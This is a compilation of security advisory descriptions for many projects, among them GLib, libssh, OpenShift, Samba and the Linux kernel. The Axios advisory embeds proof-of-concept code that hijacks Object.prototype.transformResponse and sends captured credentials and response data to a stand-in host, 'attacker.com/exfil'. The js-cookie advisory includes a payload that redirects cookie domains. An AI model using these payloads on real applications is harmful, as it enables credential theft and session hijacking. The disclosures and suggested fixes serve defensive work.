A flaw was found in the Linux kernel. This flaw allows an attacker to crash the Linux kernel by simulating amateur radio from the user space, resulting in a null-ptr-deref vulnerability and a use-after-free vulnerability.

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following: - An affected Axios version. - A polluted Object.prototype in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.

Technical Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.

In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.

Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.

Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.

Proof of Concept of Attack js import http from 'http'; import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); });

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data });

return { hijacked: true }; }

return true; };

try { const { port } = server.address();

const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } });

console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse;

server.close(); }

Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.

Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.

<details> <summary>Original source report</summary>

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.

The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSS 3.1

Score: 9.4 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |

Relationship to GHSA-fvcv-3m26-pcqx

This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.

| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.

The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check };

Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } });

3. The Execution

Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:

javascript utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! });

The polluted function then executes at transformData.js:21:

javascript data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials)

4. The Impact

Attacker receives at https://attacker.com/exfil:

{ "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}" }

The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.

5. DoS Variant

javascript // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }];

await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes

Verified PoC Output

Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse"

Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true

Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} After malicious transform: true Response tampered: true

Step 4 - Exfiltrated data: Original response data: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"}

Impact Analysis

- Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. - Denial of Service: Polluting with a non-function value crashes every request. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.

Limitations (Honest Assessment)

- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree - Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions - This is in-process JavaScript function execution, not OS-level RCE

Recommended Fix

Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:

javascript // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } }

Additionally, validate that transformResponse contains only functions before execution:

javascript // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERRBADOPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); });

Resources

- CWE-1321: Prototype Pollution - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository - Snyk: Prototype Pollution

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory | </details>

A flaw was found in GLib. The D-Bus client-side implementation of the DBUSCOOKIESHA1 SASL authentication mechanism does not validate the cookiecontext parameter received from the server. A malicious D-Bus server can supply a cookiecontext containing path traversal sequences, causing the client to read an arbitrary file and exfiltrate sensitive data by verifying guessed file contents against a generated hash.

A flaw was found in GLib. An out-of-bounds read of only 2 bytes can occur in the gdatetimegetymd function in the glib/gdatetime.c file when an invalid GDateTime object produced by the gdatetimeaddfull function is processed. This flaw can corrupt the date output and potentially cause logic errors that may lead to a denial of service.

A flaw was found in GLib. A buffer over-read can occur in giochannelreadlinebackend() in the giochannel.c file when a custom line terminator with a length greater than one is set, causing memcmp to read past the GString buffer. This vulnerability can cause a minor information disclosure of 7 bytes or a denial of service when the buffer over-read crosses a page boundary.

A flaw was found in GLib. A buffer over-read can occur in the gregexreplace function when used with the GREGEXRAW compile flag and case-change replacement escapes because the stringappend function processes matched substrings using UTF-8 functions that assume valid UTF-8 input, even when the string is treated as raw bytes. This vulnerability can cause a minor information disclosure of 1-5 bytes and a denial of service when the buffer over-read crosses a page boundary.

A flaw was found in GLib. An off-by-one error can occur in the gkeyfilegetlocalestringlist function in the gkeyfile.c file when loading a key file with an empty value. This flaw can cause an out-of-bounds access of 1 byte or a denial of service when the out-of-bounds access crosses a page boundary.

A flaw was found in GLib. An off-by-one error can occur in the gvstupleisnormal function in the glib/gvariant-serialiser.c file when doing an alignment padding check because the bounds check uses > instead of >=, causing an out-of-bounds read of only 1 byte. This issue can cause a minor information disclosure of 1 byte and a denial of service when the out-of-bounds read crosses a page boundary.

A flaw was found in libssh builds using the OpenSSL backend for AES-GCM. In the decrypt path in src/libcrypto.c, the return value from EVPDecryptFinal() was checked incorrectly, so authentication tag verification failures were not handled as integrity failures. This could effectively remove integrity protection for affected AES-GCM sessions and allow an in-path attacker to modify plaintext on the wire without detection.

A flaw was found in libssh channel data handling. In channelrcvdata() in src/channels.c, incoming channel DATA messages could still be processed after the channel had already been marked as remotely closed. In SFTP-backed applications and other callback-driven consumers, this creates a path where data callbacks may observe channel-associated state after it has already been torn down or freed, leading to crashes and possible use-after-free conditions.

A configuration-dependent issue in rsyslog's optional imptcp input module can allow an unauthenticated remote peer to crash rsyslogd. The issue is not active in a default installation. Exploitation requires all of the following:

imptcp is explicitly loaded. An imptcp listener uses the non-default framing.delimiter.regex mode. An attacker can establish a TCP connection to that listener.

A crafted input sequence during oversize-frame recovery can cause an invalid internal message length and terminate rsyslogd. No confidentiality or integrity impact, privilege escalation, or code execution has been identified. imtcp and the default imptcp framing modes are not affected.

A flaw was found in the OpenShift Router. When a Route has insecureEdgeTerminationPolicy set to Allow, the HTTP frontend does not remove X-SSL-Client- headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted X-SSL-Client- headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.

A flaw was found in the OpenShift Router. A user with EndpointSlice write access can exploit this vulnerability by creating a Service backed by an FQDN (Fully Qualified Domain Name) EndpointSlice that resolves to a cloud metadata endpoint. This allows the router to proxy requests to the cloud metadata endpoint, leading to the disclosure of instance credentials and other sensitive metadata. This bypasses previous security measures for validating IP addresses.

A flaw was found in Samba’s certificate auto-enrollment Group Policy handling. When certificate auto-enrollment is enabled, Samba may retrieve a CA certificate over an unencrypted HTTP connection and install it into the local trust store without proper verification. An attacker with the ability to intercept or redirect network traffic could exploit this behavior to supply a malicious certificate authority certificate, potentially allowing interception or spoofing of trusted communications.

A flaw was found in Red Hat Quay's container image upload process. An authenticated user with push access to any repository on the registry can interfere with image uploads in progress by other users, including those in repositories they do not have access to. This could allow the attacker to read, modify, or cancel another user's in-progress image upload.

The Route OpenShift resource allows to define routes to make pods reachable at a subdomain through HAProxy. It was found that the checks performed on the spec.path YAML stanza in a Route document was insufficient and could allow a controlled injection of the HAProxy configuration.

A flaw was found in gnutls. This vulnerability occurs because gnutls performs case-sensitive comparisons of nameConstraints labels, specifically for dNSName (DNS) or rfc822Name (email) constraints within excludedSubtrees or permittedSubtrees. A remote attacker can exploit this by crafting a leaf certificate with casing differences in the Subject Alternative Name (SAN), leading to a policy bypass where a certificate that should be rejected is instead accepted. This could result in unauthorized access or information disclosure.

A flaw was found in Red Hat Quay's handling of resumable container image layer uploads. The upload process stores intermediate data in the database using a format that, if tampered with, could allow an attacker to execute arbitrary code on the Quay server.

Dominic Scheirlinck of VendHQ reports:

Many software projects and vendors have implemented support for the “Proxy” request header in their respective CGI implementations and languages by creating the “HTTPPROXY” environmental variable based on the header value. When this variable is used (in many cases automatically by various HTTP client libraries) any outgoing requests generated in turn from the attackers original request can be redirected to an attacker controlled proxy. This allows attackers to view potentially sensitive information, reply with malformed data, or to hold connections open causing a potential denial of service.

The Go programming language can automatically populate the HTTPPROXY environmental variable with a user supplied "Proxy" header.

As announced by Go upstream on 2019-10-17: Invalid DSA public keys can cause a panic in dsa.Verify. In particular, using crypto/x509.Verify on a crafted X.509 certificate chain can lead to a panic, even if the certificates don’t chain to a trusted root. The chain can be delivered via a crypto/tls connection to a client, or to a server that accepts and verifies client certificates. net/http clients can be made to crash by an HTTPS server, while net/http servers that accept client certificates will recover the panic and are unaffected.

Moreover, an application might crash invoking crypto/x509.(CertificateRequest) CheckSignature on an X.509 certificate request, parsing a golang.org/x/crypto/openpgp Entity, or during a golang.org/x/crypto/otr conversation. Finally, a golang.org/x/crypto/ssh client can panic due to a malformed host key, while a server could panic if either PublicKeyCallback accepts a malformed public key, or if IsUserAuthority accepts a certificate with a malformed public key.

Upstream bug: https://github.com/golang/go/issues/34960

A flaw was found in KubeVirt's safepath package (pkg/safepath/safepathlinux.go). The OpenAtNoFollow function walks path components using OPATH|ONOFOLLOW flags, which per open(2) semantics succeeds on a symlink leaf and returns a file descriptor referring to the symlink itself rather than failing with ELOOP. Downstream helper functions (ChmodAtNoFollow, ChownAtNoFollow, MknodAtNoFollow) then operate on the path via /proc/self/fd/N using link-following syscalls (chown(2) instead of fchownat(ATSYMLINKNOFOLLOW)), which the kernel resolves by dereferencing the symlink at use time. This defeats the intended no-follow protection for the final path component.

An attacker with namespace-level pod access can place a symlink in the virt-launcher pod filesystem targeting an arbitrary host path. When virt-handler (running as root on the node) performs a safepath chown/chmod operation on that path during VM disk setup, hotplug, or network-cache flows, it follows the symlink and modifies the ownership or permissions of the attacker-chosen host file with hardcoded values (uid 107, mode ~0660).

A flaw was found in the Windows Machine Config Operator (WMCO) for Red Hat OpenShift Container Platform. WMCO establishes SSH connections to Windows worker nodes without verifying the remote server host key. An adjacent-network attacker who can intercept or redirect WMCO's SSH session can capture WICD and kubelet bootstrap credentials transferred during node configuration, enabling compromise of Windows node identities in the cluster.

A flaw was found in the Windows Machine Config Operator (WMCO) for Red Hat OpenShift Container Platform. The WICD CSR auto-approver validates that a Certificate Signing Request contains the organization system:wicd-nodes but does not reject additional organization values such as system:masters. A compromised Windows worker node that holds WICD credentials can submit a CSR that is auto-approved and signed by the cluster, yielding a client certificate that grants cluster-administrator privileges and enabling full cluster takeover.

ice: fix double-free of txbuf skb

In the Linux kernel, the following vulnerability has been resolved:

netfilter: nat: use kfreercu to release ops

Florian Westphal says:

"Historically this is not an issue, even for normal base hooks: the data path doesn't use the original nfhookops that are used to register the callbacks.

However, in v5.14 I added the ability to dump the active netfilter hooks from userspace.

This code will peek back into the nfhookops that are available at the tail of the pointer-array blob used by the datapath.

The nat hooks are special, because they are called indirectly from the central nat dispatcher hook. They are currently invisible to the nfnl hook dump subsystem though.

But once that changes the nat ops structures have to be deferred too."

Update nfnatregisterfn() to deal with partial exposition of the hooks from error path which can be also an issue for nfnetlinkhook.

A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the capsetfile() function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker

A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept

Node 22.11.0, no third-party deps:

Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie

PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }

Equivalent one-liner alternative - iterate own names only and filter:

js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }

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A vulnerability has been identified in the libarchive library, specifically within the archivereadformatrarseekdata() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.

A flaw was found in the libssh library in versions less than 0.11.2. An out-of-bounds read can be triggered in the sftphandle function due to an incorrect comparison check that permits the function to access memory beyond the valid handle list and to return an invalid pointer, which is used in further processing. This vulnerability allows an authenticated remote attacker to potentially read unintended memory regions, exposing sensitive information or affect service behavior.